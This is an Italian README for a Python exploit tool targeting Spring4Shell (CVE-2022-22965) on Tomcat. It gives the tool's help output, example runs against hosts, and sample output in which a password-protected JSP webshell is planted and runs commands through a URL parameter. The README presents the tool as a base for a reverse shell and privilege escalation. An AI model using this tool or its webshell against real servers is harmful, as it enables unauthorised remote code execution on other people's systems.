
spring4shell | CVE-2022-22965
un'implementazione in Python di CVE-2022-22965 che fornisce all'utente un prompt nello stile di una sessione ssh.
lo script è progettato per essere facile da capire ed eseguire, con attenzione sia alla leggibilità che all'accessibilità, a seconda delle scelte dell'utente. Progettato per sfruttare la vulnerabilità su server Tomcat. Il campo fileDateFormat sul server viene impostato e reimpostato dallo script, consentendo di eseguire l'exploit più volte. Potrebbe essere necessaria una pulizia.
vulnerabilità presente nel framework java Spring precedente alla versione 5.2, così come nelle versioni 5.3.0-17 e 5.2.0-19, se eseguito su una versione del Java Development Kit maggiore o uguale alla 9.
Maggiori informazioni:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965
I moduli requests e BeautifulSoup sono necessari per eseguire l'exploit. Possono essere installati con:
pip3 install bs4
pip3 install requests
tutti gli altri moduli sono inclusi in python3.
Lo script richiede solo l'URL del server vulnerabile per essere eseguito. Tuttavia sono disponibili altri flag per facilità di accesso, ecc.
output di --help:
usage: spring4shell_v3.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] [-a] [-n] address
spring4shell_v3.py exploits an RCE vulnerability in
applications running spring core java framework.
positional arguments:
address ip/hostname, port, sub-directories to the vulnerable spring core framework on tomcat
optional arguments:
-h, --help show this help message and exit
-f FILENAME, --filename FILENAME
name of the file to create and upload
-p PASSWORD, --password PASSWORD
password to protect the uploaded shell
-d DIRECTORY, --directory DIRECTORY
The upload path for the file
-a, --accessible turns off features which may negatively affect screen readers
-n, --no-colour removes colour output
example:
spring4shell_v3.py http://10.10.10.10/
spring4shell_v3.py http://hostname:8080/ -p 'password123'
spring4shell_v3.py http://10.10.10.10/subdir/ -a -f 'jsp-shell'
output di esempio:
./spring4shell http://spring-vuln.local
/ / | / / /
___ ___ ___ ___ ___ (___| ___ (___ ___ ( (
|___ | )| )| | )| ) )|___ | )|___)| |
__/ |__/ | | | / |__/ / __/ | / |__ | |
| __/
CVE-2022-22965.
[i] attempting to change tomcat log variables.
[+] log variables set successfully.
[+] attempting to change tomcat log location variables.
[+] log successfully modified.
[i] waiting for tomcat changes.
[i] sending the webshell.
[i] resetting the log variables.
[i] shell location:
[i] http://spring-vuln.local/20df2b10c787d5ae.jsp?pwd=bd72c5e8&cmd=whoami
[i] or run commands here. type 'exit' to quit.
spring4shell:[email protected] $ whoami
service
spring4shell:[email protected] $
Inutile dire che lo script non fornisce all'utente una shell completa, ma è progettato come piattaforma per ottenere una reverse shell completa, privilegi elevati (privesc), ecc., sul target.
Lo script tenta di rilevare l'utente/servizio che esegue il server vulnerabile per poterlo usare come parte del pseudo prompt dei comandi nel programma, anche se non è sempre affidabile.
Lo script è stato principalmente un esercizio di scripting Python per un singolo exploit, pensato sia per la leggibilità che per l'accessibilità. Progettato per facilità d'uso e comprensibilità. Tenta di gestire le eccezioni comuni.
https://skerritt.blog/a11y/ - implementazione dell'accessibilità.